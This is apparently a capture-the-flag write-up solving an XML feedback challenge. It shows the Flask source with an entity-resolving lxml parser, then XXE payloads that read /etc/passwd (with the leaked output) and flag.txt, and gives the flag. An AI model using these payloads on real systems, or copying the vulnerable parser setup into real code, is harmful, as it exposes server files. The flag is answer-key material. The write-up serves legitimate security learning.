Statement: The zoo wants your feedback! Simply fill in the form, and send away, we’ll handle it from there !
Challenge provides application source code :
from flask import Flask, request, render_template_string, render_template
from lxml import etree
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
xml_data = request.data
try:
parser = etree.XMLParser(resolve_entities=True)
root = etree.fromstring(xml_data, parser=parser)
except etree.XMLSyntaxError as e:
return render_template_string('<div style="color:red;">Error parsing XML: {{ error }}</div>', error=str(e))
feedback_element = root.find('feedback')
if feedback_element is not None:
feedback = feedback_element.text
return render_template_string('<div style="color:green;">Feedback sent to the Emus: {{ feedback }}</div>', feedback=feedback)
else:
return render_template_string('<div style="color:red;">Invalid XML format: feedback element not found</div>')
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
The web application can be used to make a POST request for feedback, which will be formatted in XML format.
Example of feedback sent with “test” string :
<?xml version="1.0" encoding="UTF-8"?>
<root>
<feedback>test</feedback>
</root>
I’ll test if the application is vulnerable to XEE/XXE (XML External Entity) with a new entity test, If the application is vulnerable, it must return the value XEE :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example "XEE"> ]>
<root>
<feedback>&example;</feedback>
</root>
Application response : Feedback sent to the Emus: XEE
The vulnerability being confirmed, I will try to read files via the following payload :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<root>
<feedback>&example;</feedback>
</root>
The application correctly returns the contents of /etc/passwd
:
Feedback sent to the Emus: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Now, I just need to read the content of flag.txt
file :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "flag.txt"> ]>
<root>
<feedback>&example;</feedback>
</root>
Flag : DUCTF{emU_say$_he!!0_h0!@_ci@0}